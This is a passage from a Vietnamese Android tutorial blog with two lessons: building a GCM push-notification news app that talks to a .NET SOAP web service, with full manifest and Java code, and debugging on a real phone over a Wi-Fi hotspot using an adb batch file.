android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.MainActivity" >

<Button
android:id="@+id/btnDangKyGCM"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Đăng ký GCM Server" />

<ListView
android:id="@+id/lvTinTuc"
android:layout_width="match_parent"
android:layout_height="wrap_content" >
</ListView>

</LinearLayout>

Bạn cần tham chiếu tới thư viện KSOAP API   để tương tác tới .Net Webservice đã tạo ở trên.

Và tải thư viện GCM để tương tác GCM Server của Google rồi chép cả 2 thư viện KSOAP, GCM vào thư mục libs như hình Tui chụp dưới đây:

android_50_1- Sau đó tiến hành tạo và sửa các lớp như sau:

1) Tạo GCMIntentService – Lắng nghe Push Notification để thông báo cho Client

2) Sửa MainActivity – Màn hình chính để cho phép đăng ký Registration GCM Id cũng như hiển thị danh sách tin tức

3) Thêm ServerTask – Để lưu Registration GCM ID gửi về lên Server riêng để sử dụng cho lần khác

4) Thêm TinTucAsyncTask – Để đọc danh sách tin tức từ Server – dùng đa tiến trình

Bổ sung thêm ic_bell (ic_bell)vào thư mục drawable (bạn tự new 1 thư mục y xì tên này, khác là bị báo lỗi):

android_50_2Tiếp theo bổ sung danh sách các chuỗi sau vào strings.xml để sử dụng cho các thông báo:


<?xml version="1.0" encoding="utf-8"?>
<resources>

<string name="app_name">DrThanhAndroidTestGCM</string>
<string name="hello_world">Hello world!</string>
<string name="action_settings">Settings</string>
<string name="server_register_error">Could not register device on Demo Server after %1$d attempts.</string>
<string name="server_registering">Đang thử (lần %1$d/%2$d) để đăng ký thiết bị trên GCM Server.</string>
<string name="server_registered">From Demo Server: successfully added device!</string>
<string name="gcm_registered">From GCM: device successfully registered!</string>
<string name="gcm_unregistered">From GCM: device successfully unregistered!</string>
<string name="gcm_message">From GCM: you got message!</string>
<string name="gcm_error">From GCM: error (%1$s).</string>
<string name="gcm_recoverable_error">From GCM: recoverable error (%1$s).</string>
<string name="gcm_deleted">From GCM: server deleted %1$d pending messages!</string>

</resources>

Cuối cùng cấu hình AndroidManifest như sau:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

<permission
android:name="tranduythanh.com.permission.C2D_MESSAGE"
android:protectionLevel="signature" />

<uses-permission android:name="tranduythanh.com.permission.C2D_MESSAGE" />
<!-- App receives GCM messages. -->
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />

<!-- GCM requires a Google account. -->
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<!-- Keeps the processor from sleeping when a message is received. -->
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="tranduythanh.com.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name="com.google.android.gcm.GCMBroadcastReceiver"
android:permission="com.google.android.c2dm.permission.SEND" >
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE" />
<action android:name="com.google.android.c2dm.intent.REGISTRATION" />

<category android:name="tranduythanh.com" />
</intent-filter>
</receiver>

<service android:name="tranduythanh.com.GCMIntentService" />
</application>

</manifest>

———————————————————–

Giờ ta tiến hành coding cho từng class:

Lớp  GCMIntentService:


package tranduythanh.com;

import tranduythanh.com.R;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.media.RingtoneManager;
import android.net.Uri;
import android.util.Log;
import com.google.android.gcm.GCMBaseIntentService;
import com.google.android.gcm.GCMRegistrar;

import static tranduythanh.com.ServerTask.*;

public class GCMIntentService extends GCMBaseIntentService{
private static final String TAG = "GCMIntentService";

public GCMIntentService() {
super(SENDER_ID);
}

@Override
protected void onRegistered(Context context, String registrationId) {
Log.i(TAG, "Device registered: regId = " + registrationId);
displayMessage(context, getString(R.string.gcm_registered));
ServerTask.register(context, registrationId);
}

@Override
protected void onUnregistered(Context context, String registrationId) {
Log.i(TAG, "hủy đăng ký unregistered");
displayMessage(context, getString(R.string.gcm_unregistered));
if (GCMRegistrar.isRegisteredOnServer(context)) {
//Call bỏ đăng ký ở đây
GCMRegistrar.setRegisteredOnServer(context, false);
//ServerTask.post_unregister(context, registrationId);
} else {
Log.i(TAG, "Ignoring unregister callback");
}
}

@Override
protected void onMessage(Context context, Intent intent) {
Log.i(TAG, "Received message");
//String message = getString(R.string.gcm_message);
String message = intent.getStringExtra("message");
displayMessage(context, message);
// notifies user
generateNotification(context, message);
}

@Override
protected void onDeletedMessages(Context context, int total) {
Log.i(TAG, "Received deleted messages notification");
String message = getString(R.string.gcm_deleted, total);
displayMessage(context, message);
// notifies user
generateNotification(context, message);
}

@Override
public void onError(Context context, String errorId) {
Log.i(TAG, "Received error: " + errorId);
displayMessage(context, getString(R.string.gcm_error, errorId));
}

@Override
protected boolean onRecoverableError(Context context, String errorId) {
// log message
Log.i(TAG, "Received recoverable error: " + errorId);
displayMessage(context, getString(R.string.gcm_recoverable_error,
errorId));
return super.onRecoverableError(context, errorId);
}

/**
* Issues a notification to inform the user that server has sent a message.
*/
private static void generateNotification(Context context, String message) {
int icon = R.drawable.ic_bell;
long when = System.currentTimeMillis();
NotificationManager notificationManager = (NotificationManager)
context.getSystemService(Context.NOTIFICATION_SERVICE);
Notification notification = new Notification(icon, message, when);
String title = context.getString(R.string.app_name);
Intent notificationIntent = new Intent(context, MainActivity.class);
// set intent so it does not start a new activity
notificationIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP |
Intent.FLAG_ACTIVITY_SINGLE_TOP);
PendingIntent intent =
PendingIntent.getActivity(context, 0, notificationIntent, 0);
notification.setLatestEventInfo(context, title, message, intent);
Uri alarmSound = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION);
notification.sound=alarmSound;
notification.flags |= Notification.FLAG_AUTO_CANCEL;
notificationManager.notify(0, notification);
}
}

Coding ServerTask:


package tranduythanh.com;
import java.util.Random;
import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.MarshalFloat;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapPrimitive;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import tranduythanh.com.R;

import com.google.android.gcm.GCMRegistrar;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;

public final class ServerTask {
//Biến lưu namespace do bạn cấu hình trong Webservice
public static final String NAMESPACE="http://tranduythanh.com/";
//Biến lưu WSDL của server URL
public static final String SERVER_URL ="http://drthanhgcm.somee.com/drthanhgcmservice.asmx?WSDL";
//biến lưu Sender ID
public static final String SENDER_ID = "1050525163328";
//biến lưu log lại khi có sự kiện sảy ra
public static final String TAG = "DrthanhGCM_LOG";
/**
* Intent sử dụng để hiển thị lên màn hình
*/
public static final String DISPLAY_MESSAGE_ACTION = "tranduythanh.com.DISPLAY_MESSAGE";

/**
* Thông tin (message) để intent hiển thị
*/
public static final String EXTRA_MESSAGE = "message";
/**
* Hàm dùng để hiển thị Message lên màn hình (chú ý là nó chạy background)
*
* @param context
*            application's context.
* @param message
*            thông báo hiển thị ở màn hình.
*/
public static void displayMessage(Context context, String message) {
Intent intent = new Intent(DISPLAY_MESSAGE_ACTION);
intent.putExtra(EXTRA_MESSAGE, message);
context.sendBroadcast(intent);
}

public  static final int MAX_ATTEMPTS = 5;
public  static final int BACKOFF_MILLI_SECONDS = 2000;
public  static final Random random = new Random();

public static boolean post(final Context context, final String regId)
{
try{
final String METHOD_NAME="insertRegID";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);

request.addProperty("regId", regId);
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
envelope.setOutputSoapObject(request);
MarshalFloat marshal=new MarshalFloat();
marshal.register(envelope);
HttpTransportSE androidHttpTransport=
new HttpTransportSE(SERVER_URL);
androidHttpTransport.call(SOAP_ACTION, envelope);
SoapPrimitive response=(SoapPrimitive) envelope.getResponse();
String s=response.toString();
Toast.makeText(context, "kết quả ="+s, Toast.LENGTH_LONG).show();
Log.i(TAG, "Ghi Registration lên Server:\n"+s);
return true;
}
catch(Exception e)
{
Toast.makeText(context, "kết quả =\n"+e.toString(), Toast.LENGTH_LONG).show();
Log.i(TAG, "Lỗi post:\n"+e.toString());
}
return false;
}
public static boolean post_unregister(final Context context, final String regId)
{
try{
final String METHOD_NAME="deleteRegid";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);

request.addProperty("regId", regId);
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
envelope.setOutputSoapObject(request);
MarshalFloat marshal=new MarshalFloat();
marshal.register(envelope);
HttpTransportSE androidHttpTransport=
new HttpTransportSE(SERVER_URL);
androidHttpTransport.call(SOAP_ACTION, envelope);
SoapPrimitive response=(SoapPrimitive) envelope.getResponse();
String s=response.toString();
//Toast.makeText(context, "kết quả ="+s, Toast.LENGTH_LONG).show();
Log.i(TAG, "Hủy Registration lên Server:\n"+s);
return true;
}
catch(Exception e)
{
//Toast.makeText(context, "kết quả =\n"+e.toString(), Toast.LENGTH_LONG).show();
Log.i(TAG, "Lỗi post2_unregister:\n"+e.toString());
}
return false;
}
public static boolean register(final Context context, final String regId) {
Log.i(TAG, "registering device (regId = " + regId + ")");

long backoff = BACKOFF_MILLI_SECONDS + random.nextInt(1000);
// Once GCM returns a registration id, we need to register it in the
// demo server. As the server might be down, we will retry it a couple
// times.
for (int i = 1; i <= MAX_ATTEMPTS; i++) {
Log.d(TAG, "Attempt #" + i + " to register");
try {
displayMessage(context, context.getString(
R.string.server_registering, i, MAX_ATTEMPTS));
boolean b=post(context,regId);

GCMRegistrar.setRegisteredOnServer(context, true);

String message = context.getString(R.string.server_registered);

displayMessage(context, message);
if(b)
return true;
} catch (Exception e) {
// Here we are simplifying and retrying on any error; in a real
// application, it should retry only on unrecoverable errors
// (like HTTP error code 503).
Log.e(TAG, "Failed to register on attempt " + i, e);
if (i == MAX_ATTEMPTS) {
break;
}
try {
Log.d(TAG, "Sleeping for " + backoff + " ms before retry");
Thread.sleep(backoff);
} catch (InterruptedException e1) {
// Activity finished before we complete - exit.
Log.d(TAG, "Thread interrupted: abort remaining retries!");
Thread.currentThread().interrupt();
return false;
}
// increase backoff exponentially
backoff *= 2;
}
}
String message = context.getString(R.string.server_register_error,
MAX_ATTEMPTS);
displayMessage(context, message);
return false;
}
}

Code lớp TinTucAsyncTask:


package tranduythanh.com;

import java.util.ArrayList;

import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.os.AsyncTask;
import android.util.Log;
import android.widget.Toast;

import static tranduythanh.com.ServerTask.*;

public class TinTucAsyncTask extends AsyncTask<Void, Void, ArrayList<String>>{

MainActivity context=null;
public TinTucAsyncTask(MainActivity context)
{
this.context=context;
}
@Override
protected void onPostExecute(ArrayList<String> result) {
super.onPostExecute(result);
try
{
Toast.makeText(
this.context,
"onPostExecute "+result.size(),
Toast.LENGTH_LONG)
.show();
context.dsTin.clear();
context.dsTin.addAll(result);
context.adapter.notifyDataSetChanged();
}
catch(Exception ex)
{
Toast.makeText(context, ex.toString(), Toast.LENGTH_LONG).show();
}
}

@Override
protected void onPreExecute() {
super.onPreExecute();
Toast.makeText(
this.context,
"onPreExecute",
Toast.LENGTH_LONG)
.show();
}

@Override
protected void onProgressUpdate(Void... values) {
// TODO Auto-generated method stub
super.onProgressUpdate(values);
//Toast.makeText(context, values[0].getId()+"-"+values[0].getTitle(), Toast.LENGTH_LONG).show();
}
@Override
protected ArrayList<String> doInBackground(Void... params) {
ArrayList<String>arr=new ArrayList<String>();
try{
//hàm cần truy suất
final String METHOD_NAME="getListTinTuc";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
//service description
//khai báo đối tượng SoapOBject
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);
//thiết lập version
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
//thiết lập output
envelope.setOutputSoapObject(request);
//tạo đối tượng HttpTransportSE
HttpTransportSE androidHttpTransport=
new HttpTransportSE(SERVER_URL);
//tiến hành triệu gọi Service
androidHttpTransport.call(SOAP_ACTION, envelope);

SoapObject soapArray=(SoapObject) envelope.getResponse();
for(int i=0; i<soapArray.getPropertyCount(); i++)
{
//(SoapObject) soapArray.getProperty(i) get item at position i
SoapObject soapItem =(SoapObject) soapArray.getProperty(i);
//soapItem.getProperty("CateId") get value of CateId property
//phải mapp đúng tên cột:
String id=soapItem.getProperty("NewsID").toString();
String title=soapItem.getProperty("Title").toString();
String tin=id+" - "+title;
arr.add(tin);
}
}
catch(Exception e)    {
//Toast.makeText(context, e.toString(), Toast.LENGTH_LONG).show();
Log.i("LOI_DOC_TIN", e.toString());
}
return arr;
}

}

Coding lớp MainActivity:


package tranduythanh.com;

import java.util.ArrayList;

import tranduythanh.com.R;

import com.google.android.gcm.GCMRegistrar;

import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.Toast;
import static tranduythanh.com.ServerTask.*;
public class MainActivity extends Activity {

Button btnDangKyGCM;

ListView lvTinTuc;
public ArrayList<String> dsTin;
public ArrayAdapter<String>adapter;

AsyncTask<Void, Void, Void> gcmRegisterTask;

final BroadcastReceiver handleMessageReceiver =
new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String newMessage = intent.getExtras().getString(EXTRA_MESSAGE);
Toast.makeText(MainActivity. this, newMessage, Toast.LENGTH_LONG).show();
Log.i(TAG, newMessage);
}
};

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

addControlAndEvents();

try
{
xemTinTuc();
}
catch(Exception ex)
{

}
}
private void xemTinTuc() {
TinTucAsyncTask task=new TinTucAsyncTask(this);
task.execute();
}

private void addControlAndEvents() {
btnDangKyGCM=(Button) findViewById(R.id.btnDangKyGCM);
lvTinTuc=(ListView) findViewById(R.id.lvTinTuc);
dsTin=new ArrayList<String>();
adapter=new ArrayAdapter<String>
(this,
android.R.layout.simple_list_item_1,
dsTin);
lvTinTuc.setAdapter(adapter);

btnDangKyGCM.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
xuLyDangKyGCMServer();
}
});
}

//Chỉ cần đăng ký 1 lần, các lần khác không cần--> tự động nhận biết rồi
protected void xuLyDangKyGCMServer() {
// Make sure the device has the proper dependencies.
GCMRegistrar.checkDevice(this);
// Make sure the manifest was properly set - comment out this line
// while developing the app, then uncomment it when it's ready.
GCMRegistrar.checkManifest(this);

//msg = (TextView) findViewById(R.id.display);

registerReceiver(handleMessageReceiver,
new IntentFilter(DISPLAY_MESSAGE_ACTION));
final String regId = GCMRegistrar.getRegistrationId(this);
Toast.makeText(this, "REGID của bạn = \n"+regId, Toast.LENGTH_LONG).show();
if (regId.equals("")) {
// Automatically registers application on startup.
GCMRegistrar.register(this, SENDER_ID);
} else {
// Device is already registered on GCM, check server.
if (GCMRegistrar.isRegisteredOnServer(this)) {
// Skips registration.
//msg.append(getString(R.string.already_registered) + "\n");
Toast.makeText(this, "REGID của bạn đã được đăng ký", Toast.LENGTH_LONG).show();
Log.i(TAG, "đã đăng ký :\n"+regId+"\n Thành công");
final Context context = this;
gcmRegisterTask = new AsyncTask<Void, Void, Void>() {

@Override
protected Void doInBackground(Void... params) {
boolean registered =
ServerTask.register(context, regId);
// At this point all attempts to register with the app
// server failed, so we need to unregister the device
// from GCM - the app will try to register again when
// it is restarted. Note that GCM will send an
// unregistered callback upon completion, but
// GCMIntentService.onUnregistered() will ignore it.
if (!registered) {
GCMRegistrar.unregister(context);
}
return null;
}

@Override
protected void onPostExecute(Void result) {
gcmRegisterTask = null;
}

};
gcmRegisterTask.execute(null, null, null);
} else {
// Try to register again, but not in the UI thread.
// It's also necessary to cancel the thread onDestroy(),
// hence the use of AsyncTask instead of a raw thread.
final Context context = this;
gcmRegisterTask = new AsyncTask<Void, Void, Void>() {

@Override
protected Void doInBackground(Void... params) {
boolean registered =
ServerTask.register(context, regId);
// At this point all attempts to register with the app
// server failed, so we need to unregister the device
// from GCM - the app will try to register again when
// it is restarted. Note that GCM will send an
// unregistered callback upon completion, but
// GCMIntentService.onUnregistered() will ignore it.
if (!registered) {
GCMRegistrar.unregister(context);
}
return null;
}

@Override
protected void onPostExecute(Void result) {
gcmRegisterTask = null;
}

};
gcmRegisterTask.execute(null, null, null);
}
}
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}

Bạn có thể tham khảo Source code đầy đủ ở đây: http://download1516.mediafire.com/38l17dust0og/b7u58q8rp5ukql9/DrThanhAndroidTestGCM.rar

Chú ý bạn phải cấu hình cho đúng CSDL cũng như Webservice, APPI Key, Sender ID thì mới có thể chạy ứng dụng

Chúc các bạn thành công!

Bài 49: Cách debug ứng dụng trên thiết bị Android bằng WIFI (không cần cắm USB Cable)


Hiện nay trên Store của Google cũng có rất nhiều App miễn phí cho phép lấy IP của thiết bị để có thể kết nối tới PC mà không cần dùng Cable. Nhưng cũng nhiều khi phải Rooted máy và cũng mất công phải cài phần mềm.

Trong bài này Tui sẽ hướng dẫn các bạn cách Debug ứng dụng Android trên thiết bị thật thông qua WIFI nội bộ giữa  Thiết bị và PC (chú ý là không cần kết nối internet) và cũng không cần cài đặt thêm bất cứ phần mềm nào. Đặc biệt khi cùng kết hợp với phần mềm “droidAtScreen-1.1.jar” thì các bạn có thể Demo ứng dụng một cách hoàn hoản, nhất là dành cho những bạn phải thuyết trình ứng dụng hay giảng dạy…

android_49_1Các bước cụ thể như sau:

Bước 1:

Bật chức năng WI-FI hotspot trên thiết bị di động sử dụng Android, Bước này Tui chụp bằng điện thoại thật của Tui, Model SamSung S2, GT-I9100 (các dòng khác chắc nó cũng lủi ở góc nào đó). Cái chức năng này chắc chắn đa phần mọi người đều biết, nhưng Tui sẽ hướng dẫn thật chi tiết vì còn nhiều Sinh Viên mới tiếp cận.

– Vào Setting như màn hình dưới đây:

android_49_2- Sau khi bấm Setting thì màn hình bến dưới xuất hiện, bạn tìm tới nhóm Wireless and networks:

android_49_3

– Nhấn chọn More Settings, màn hình xuất hiện như bên dưới :

android_49_4

– Ta nhấn chọn Tethering and portable hotspot…: Tại màn hình mới này ta kích hoạt nó lên như hình bên dưới, sau khi kích hoạt (thành màu xanh xanh đó bạn) thì nhấn vào Portable Wi-Fi h……

android_49_5

– Sau khi nhấn chọn Portable Wi-Fi h…… thì màn hình sau xuất hiện:

android_49_6

– Tại màn hình trên, để cấu hình sửa đổi tên Trạm Phát wifi và mật khẩu của trạm phát, bạn nhấn vào nút Configure mà tui khoanh màu vàng đó…. :

Để cho dễ dàng tìm kiếm tên Trạm phát WIFI bạn nên đặt tên cho nó, ví dụ Tui đặt trạm phát WIFI tại thiết bị của tui là drthanh

android_49_7

– Đồng thời cũng đặt mật khẩu cho trạm phát rồi nhấn nút Save.

 Bước 2:

Kết nối PC tới trạm phát sóng WIFI mà bạn vừa tạo ở bước 1.

android_49_8Bạn tìm tới trạm phát nào có tên drthanh được cấu hình, chọn nó và bấm Connect. Nhập mật khẩu để tiến hành kết nối.

Khi kết nối thành công thì Thiết bị của bạn sẽ thông báo là có Máy nào kết nối tới hay không, địa chỉ IP là gì, MAC là gì…

Chú ý phải đảm bảo bước 2 kết nối thành công.

Bước 3:

Tìm địa chỉ IP của trạm phát sóng WIFI (tức lại địa IP của thiết bị di động đó), các bước đơn giản làm như sau:

Nhấn tổ hợp phím Windows + R để mở của sổ Run

Tại cửa số này bạn gõ lệnh cmd như hình chụp để mở màn hình Command line:

android_49_9Nhấn OK:

android_49_14Tại dấu nhắc lệnh, bạn gõ lệnh ipconfig để hệ thống hiển thị địa chỉ IP của trạm phát.

Sau khi gõ lệnh và nhấn phím Enter, bạn có kết quả sau (tùy vào máy bạn nhé):

android_49_15Bạn nhìn vào dòng Default Gateway, thấy IP 192.168.43.1 , đây chính là địa chỉ IP của Trạm phát WIFI. Địa chỉ này có thể khác nhau tùy thuộc vào máy tính cũng như thiết bị của bạn.

Bước 4:

Tạo tập tin Bat để dễ dàng kết nối từ PC tới trạm phát WIFI (tức là từ PC tới thiết bị điện thoại của bạn).

Mục đích Tui hướng dẫn các bạn tạo file Bat để có thể chạy cùng nhiều lệnh 1 lúc, và bất cứ lúc nào muốn chạy chỉ cần Double click vào nó–> đỡ mất thời gian và lại vô cùng easy.

Trước tiên bạn cần vào đúng nơi lưu trữ tập tin adb.exe, nó nằm trong thư mục sdk/platform-tools (tùy vào bạn sao chép):

android_49_16Bạn nhìn vào hình trên là biết được cần phải tìm ở chỗ nào.

Bạn thấy Tui khoanh đỏ 2 file không? adb.exe là của Android. Còn runwifi.bat là do Tui tạo ra, cách thức tạo file bat này như sau:

– Bấm chuột phải ngay tại màn hình này/ chọn New/ Text Document như hình bên dưới:

android_49_17Kết quả cho ta mặc định như sau:

android_49_18Bạn thấy đó, mặc định tập tin “New Text Document.txt” được tạo ra, bây giờ bạn double click vào nó để mở lên , sau đó tiến hành gõ lệnh:

android_49_19Tui gõ 3 dòng lệnh:

Dòng 1:

adb tcpip 5555

Dòng 2:

adb connect 192.168.43.1

Dòng 3:

pause

Dòng 1 là tạo port, dòng 2 là kết nối tới trạm phát WIFI, đó chính là IP mà ta tìm được từ trạm phát ở bước 3, dòng 3 là lệnh pause mục đích để ngừng lại màn hình cho phép ta xem kết quả (nếu không có lệnh này thì chạy xong nó tắt luôn, ta không xem được).

Sau khi nhập lệnh xong, ta đóng tập tin này và đổi tên nó thành runwifi.bat (đặt tên nào là kệ bạn).

android_49_20Bước 5:

Thực thi lệnh runwifi.bat bằng cách double click vào nó:

android_49_21Ban quan sát màn hình trên, thấy đó….. nó báo kết nối adb thành công. Bây giờ ta có thể thực hiện chạy ứng dụng lên thiết bị thật thông qua trạm phát WIFI này (đỡ phải chạy máy ảo rất nặng tốn bộ nhớ) và không phải rườm rà dây rợ lung tung. Ở khoảng cách xa vẫn kết nối được, Tui đã thử 30 mét vẫn OK. Bạn thử đi xa 1km xem thế nào(Tui không đi đâu)…. Chú ý là bạn có thể đóng màn hình này lại nhé, không phải mở nó mãi mãi.

Và bạn nên đưa nó ra làm Shortcut ngoài desktop để mỗi lần hết kết nối thì cứ bấm kết nối lại là xong, rất là nhanh, chỉ cần double click vào nó (chú ý là cứ double click đến khi nào nó báo thành công như vậy, vì đôi khi nó có vấn đề gì đó về đường truyền…).

Bước 6:

Sử dụng.

Bây giờ mỗi lần từ Eclipse bạn thực thi ứng dụng nó sẽ tự động tìm kiếm đúng trạm phát đó và cho phép mình xác nhận để chạy lên máy thật. Nếu bạn muốn Demo khi báo cáo thì bạn nên tải phần mềm “droidAtScreen-1.1.jar” (chỉ cần bấm vào để chạy không cần setup) vào PC.

Đây là kết quả tui tải về và chạy lên, nó tự động hiển thị luôn màn hình thiết bị thật của tui vào Desktop PC thông qua chương trình này (chú ý là bạn không cần cắm cáp USB hay kết nối internet nhé, chỉ sử dụng qua trạm phát WIFI):

android_49_22

Bạn thử làm lại nhé…..

(chú ý là cứ bấm file bat đến khi nào nó báo thành công như hình Tui chụp, vì đôi khi không phải bấm cái là kết nối thành công.). Lần đầu nhớ cắm USB cable để nó mở port, sau đó tháo USB ra là nó có thể thực thi.

Chúc các bạn thành công…

Follow

Get every new post delivered to your Inbox.

Join 898 other followers

%d bloggers like this: